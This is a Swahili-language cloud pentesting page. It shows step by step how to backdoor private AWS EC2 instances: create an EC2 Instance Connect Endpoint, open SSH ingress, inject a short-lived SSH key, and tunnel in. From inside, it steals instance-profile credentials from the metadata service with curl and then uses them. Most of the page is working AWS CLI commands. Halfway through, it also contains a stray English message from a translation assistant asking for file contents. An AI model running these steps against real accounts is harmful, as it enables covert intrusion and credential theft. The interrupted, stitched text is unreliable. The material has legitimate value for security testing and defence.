AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

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Kutumia vibaya EC2 Instance Connect Endpoint (EIC Endpoint) kupata ufikiaji wa SSH wa incoming kwenye private EC2 instances (bila IP ya umma/bastion) kwa:

  • Kuunda EIC Endpoint ndani ya subnet lengwa
  • Kuruhusu inbound SSH kwenye SG lengwa kutoka SG ya EIC Endpoint
  • Kuingiza ephemeral SSH public key (inayodumu kwa muda mfupi, takriban ~60 seconds) kwa kutumia ec2-instance-connect:SendSSHPublicKey
  • Kufungua EIC tunnel na kupivota hadi instance ili kuiba instance profile credentials kutoka IMDS

Impact: njia ya siri ya ufikiaji wa mbali kwenye private EC2 instances inayopitisha bastions na vikwazo vya IP za umma. Mshambuliaji anaweza kuchukua instance profile na kufanya shughuli ndani ya akaunti.

Requirements

  • Ruhusa za:
  • ec2:CreateInstanceConnectEndpoint, ec2:Describe*, ec2:AuthorizeSecurityGroupIngress
  • ec2-instance-connect:SendSSHPublicKey, ec2-instance-connect:OpenTunnel
  • Instance ya Linux lengwa yenye SSH server na EC2 Instance Connect imewezeshwa (Amazon Linux 2 au Ubuntu 20.04+). Watumiaji wa default: ec2-user (AL2) au ubuntu (Ubuntu).

Variables

bash
export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user

Unda EIC Endpoint

bash
aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID

# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done

Ruhusu trafiki kutoka EIC Endpoint hadi target instance

bash
aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

Ingiza ufunguo wa SSH wa muda mfupi na fungua tunnel

bash
# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''

# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"

# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2

# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no

Post-exploitation proof (kumwibia instance profile credentials)

bash
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)

I don't have the file contents. Please paste the markdown/text from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md and I will translate it to Swahili following your rules.

json
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}

Tumia creds zilizoibiwa kwa mashine ya ndani ili kuthibitisha utambulisho:

bash
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>

Usafishaji

bash
# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"

Vidokezo

  • SSH key iliyowekwa ni halali tu kwa ~60 sekunde; tuma key hiyo mara moja kabla ya kufungua tunnel/SSH.
  • OS_USER inapaswa kuendana na AMI (kwa mfano, ubuntu kwa Ubuntu, ec2-user kwa Amazon Linux 2).

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